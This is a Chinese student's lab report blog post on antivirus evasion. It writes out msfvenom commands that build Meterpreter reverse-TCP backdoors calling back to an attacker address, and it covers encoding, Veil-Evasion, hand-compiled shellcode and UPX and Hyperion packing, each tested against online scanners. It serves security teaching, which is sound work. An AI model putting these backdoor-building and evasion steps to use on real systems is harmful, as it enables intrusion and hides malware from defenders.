Exp3 免杀原理与实践

Posted on 2019-03-31 19:54  姜福花  阅读(205)  评论(0编辑  收藏  举报

实践内容

  1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

  2.通过组合应用各种技术实现恶意代码免杀

  3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

基础问题回答

  1.杀软是如何检测出恶意代码的?

  主要是根据木马程序中特定的特征码进行搜索比对,确定木马程序,或通过分析可疑程序行为,怀疑程序是否为恶意代码。

  (1)静态分析:

  是指在不执行二进制程序的条件下进行分析,如反汇编分析,源代码分析,二进制统计分析,反编译等,属于逆向工程分析方法。

  (2)动态分析

       是指恶意代码执行的情况下利用程序调试工具对恶意代码实施跟踪和观察,确定恶意代码的工作过程对静态分析结果进行验证。

  2.免杀是做什么?

  免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),反杀毒技术,防止做好的木马程序被杀毒软件和杀毒扫描引擎发现清除,达到潜伏目的。

  3. 免杀的基本方法有哪些?

(1)修改数据

(2)加装代码

(3)工具免杀

(4)资源操作

(5)PE操作

(6)加壳

(7)行为动态拦截

准备工作

1.检测工具

https://www.virustotal.com/

http://www.virscan.org/

2.对上一次实验中生成的后门程序进行扫描

 

 

Virscan软件禁止含有数字名文件上传,改名为全英文,扫描结果

实验内容

1.任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

(1)正确使用msf编码器,生成exe文件

使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

 mfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.6.156 LPORT=4304 -f exe > onemet.exe

通过共享文件夹传到Windows进行杀软检测。

超过半数杀软报毒

(2)十次编码

通过使用mfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.6.156 LPORT=4304 -f exe > tenmet.exe

再次进行检查

 

 报毒率基本没有发生任何改变,应该是重新编码十次并没有对该生成程序的特征码有改变。

(3)msfvenom生成jar文件

生成java后门程序使用命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.6.156 LPORT=4304 x> 20164304_backdoor_java.jar

进行检测

报毒率有略微的下降

 (4)msfvenom生成php文件

生成php文件所需指令

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.6.156 LPORT=4304 x> 20164304_backdoor.php

进行检测

报毒率竟然出奇的低,猜想,应该是很少有人用php制作后门,所以杀软库里很少有php文件,亦或是php文件具有些先进性的属性。

(5)使用veil-evasion生成后门程序及检测

通过使用

mkdir -p ~/.cache/wine

跳转至wine文件夹后,下载安装veil

安装成功后界面如下

输入use evasion

 输入use c/meterpreter/rev_tcp.py

 

修改LHOST和LPORT参数,与上一实验msf操作类似,用options查看当前设置

此处LHOST地址为kali地址

输入generate进行生成文件

命名为veil_c_4304,然后根据如图所示地址找到生成文件并送去检测。

 

 

此时我也尝试换了其他的语言生成

挣扎了一点

(6)半手工注入Shellcode并执行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.6.156 LPORT=4304 -f c

用c语言生成一段shellcode

通过使用指令vi 20164304shellcode.c,直接进入vi编辑器并将生成的shellcode复制进去

其中vi编辑器里的粘贴工具在上方工具栏

使用i686-w64-mingw32-g++ 20164304shellcode.c -o 20164304shellcode.exe,将C语言文件直接编译成为exe文件

其中有出现代码输入错误。。。尴尬

 

生成成功后进行检查

同样也 是降低了一点点报毒率,由此可见该技术被大多数杀毒软件已经列为了已知免杀技术

(7)加壳

先使用压缩壳

使用语句upx 20164304shellcode.exe -o 20164304_shell_code.exe

检查之后的结果反而有所增加

加密壳

首先将需要加密的文件放置于hyperion文件夹,通过wine hyperion.exe -v 20164304shellcode.exe 20164304shellcode_Hyperion.exe生成了加密壳文件

 

送去检测

加了密反而被更多的杀软引擎查出。

2.组合加壳进行免杀

那么我将使用压缩过壳文件(20164304_shell_code.exe)进行再次加密操作生成(20164304_shell_code_hyperion.exe)

送去检测,并没有什么卵用

再尝试先使用加密壳再压缩

 

 送去检测

 

 虽然比之前好一点,但也并没有什么卵用

所以我怀疑,是否杀软已经将加壳确认为一种病毒手段

惊闻我室友用最简单的helloworld加壳,竟然被查出病毒,那么我这边也进行验证猜想

3.验证如下

首先生成一个最简单的最人畜无害的helloworld文件

通过kali生成exe文件20164304helloworld.exe

首先对其进行压缩壳生成文件20164304helloworld_upx.exe

送去检测

不出所料,helloworld压缩后都有9个引擎查出毒

再使用加密壳工具

 

 送去检测

效果很明显,报毒的原因是加壳的原因,所以使用加壳,必定会出现病毒报错。

实验心得

本次实验通过学习到的基本病毒免杀知识,对木马程序进行免杀操作,应用了不同语言编辑免杀程序,且使用了加压缩,加密壳进行了免杀伪装,了解了免杀操作的基本原理和基本思想,但是,并没有完成免杀情况,通过实际操作之后,发现了,对于目前流行的多种杀毒软件引擎,经过我的验证,加壳操作对于当下已经过时,大多数主流厂商认为加壳程序是病毒程序的几率很高,对于当前杀毒软件宁可错杀不放过一个的基本战略表示欣赏,正是有了良心的杀毒软件厂商才能保证我们使用互联网的安全。同时对于杀毒软件甄别操作,主体是人的甄别,而免杀是基于另一种程序漏洞的思想,免杀与杀毒之间的战争也是不断拉锯中,我猜想越是无人触碰的地方免杀几率越高,我尝试了使用veil生成Python和powershell,但可惜,对于这两门语言的学习不够深入未能实现免杀,最后对于使用加壳成功的同学表示祝贺。

使用杀软一定能防止病毒吗?

不一定,杀软并不是绝对的,没有完美的程序,杀软就一定不会完全防止病毒。但是使用杀软会使计算机的安全得到基本的保障。

Copyright © 2024 姜福花
Powered by .NET 8.0 on Kubernetes